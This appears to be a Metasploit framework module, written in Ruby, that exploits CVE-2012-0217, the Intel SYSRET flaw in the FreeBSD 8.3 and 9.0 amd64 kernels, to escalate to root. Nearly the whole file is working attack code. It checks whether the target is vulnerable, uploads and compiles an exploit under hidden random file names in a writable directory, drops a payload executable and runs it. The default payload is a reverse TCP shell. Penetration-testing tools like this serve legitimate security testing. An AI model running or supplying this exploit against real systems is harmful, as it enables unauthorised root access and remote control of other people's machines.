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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = GreatRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Post::File
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  include Msf::Post::Unix
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',
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        'Description' => %q{
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          This module exploits a vulnerability in the FreeBSD kernel,
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          when running on 64-bit Intel processors.
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          By design, 64-bit processors following the X86-64 specification will
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          trigger a general protection fault (GPF) when executing a SYSRET
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          instruction with a non-canonical address in the RCX register.
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          However, Intel processors check for a non-canonical address prior to
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          dropping privileges, causing a GPF in privileged mode. As a result,
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          the current userland RSP stack pointer is restored and executed,
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          resulting in privileged code execution.
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          This module has been tested successfully on:
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          FreeBSD 8.3-RELEASE (amd64); and
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          FreeBSD 9.0-RELEASE (amd64).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Rafal Wojtczuk', # Discovery
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          'John Baldwin', # Discovery
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          'iZsh', # Exploit
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          'bcoles' # Metasploit
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        ],
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        'DisclosureDate' => '2012-06-12',
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        'Platform' => ['bsd'], # FreeBSD
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        'Arch' => [ARCH_X64],
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        'SessionTypes' => ['shell'],
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        'References' => [
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          ['BID', '53856'],
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          ['CVE', '2012-0217'],
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          ['EDB', '28718'],
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          ['PACKETSTORM', '113584'],
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          ['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
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          ['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
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          ['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
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          ['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
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          ['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
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          ['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
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        ],
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        'Targets' => [
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          ['Automatic', {}]
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        ],
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        'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [ CRASH_OS_RESTARTS, ],
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          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK, ],
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          'Reliability' => [ REPEATABLE_SESSION, ]
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        }
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      )
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    )
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    register_advanced_options([
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      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
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    ])
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  end
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def upload(path, data)
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    print_status("Writing '#{path}' (#{data.size} bytes) ...")
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    rm_f(path)
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    write_file(path, data)
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    register_file_for_cleanup(path)
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  end
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  def upload_and_compile(path, data, _cc_args = '')
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    upload("#{path}.c", data)
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    cc_cmd = "cc -o #{path} #{path}.c"
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    if session.type.eql?('shell')
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      cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}"
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    end
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    output = cmd_exec(cc_cmd)
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    unless output.blank?
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      print_error(output)
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      fail_with(Failure::Unknown, "#{path}.c failed to compile")
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    end
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    register_file_for_cleanup(path)
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    chmod(path)
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  end
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  def strip_comments(c_code)
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    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
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  end
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  def check
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    kernel_release = cmd_exec('uname -r').to_s
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    unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
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      return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
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    end
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    vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
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    kernel_arch = cmd_exec('uname -m').to_s
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    unless kernel_arch.include?('64')
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      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
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    end
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    vprint_good("System architecture #{kernel_arch} is supported")
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    hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
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    unless hw_model.downcase.include?('intel')
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      return CheckCode::Safe("#{hw_model} is not vulnerable")
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    end
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    vprint_good("#{hw_model} is vulnerable")
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    CheckCode::Appears
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  end
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  def exploit
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    if !datastore['ForceExploit'] && is_root?
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      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
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    end
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    unless writable?(base_dir)
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      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
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    end
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    # Upload and compile exploit executable
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    executable_name = ".#{rand_text_alphanumeric(5..10)}"
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    executable_path = "#{base_dir}/#{executable_name}"
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    upload_and_compile(executable_path, strip_comments(exploit_data('cve-2012-0217', 'sysret.c')), '-Wall')
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    # Upload payload executable
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    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
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    upload_and_chmodx(payload_path, generate_payload_exe)
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    # Launch exploit
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    print_status('Launching exploit...')
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    output = cmd_exec(executable_path)
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    output.each_line { |line| vprint_status line.chomp }
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    unless is_root?
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      fail_with(Failure::Unknown, 'Exploitation failed')
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    end
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    print_good('Success! Executing payload...')
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    cmd_exec("#{payload_path} & echo ")
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  end
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end
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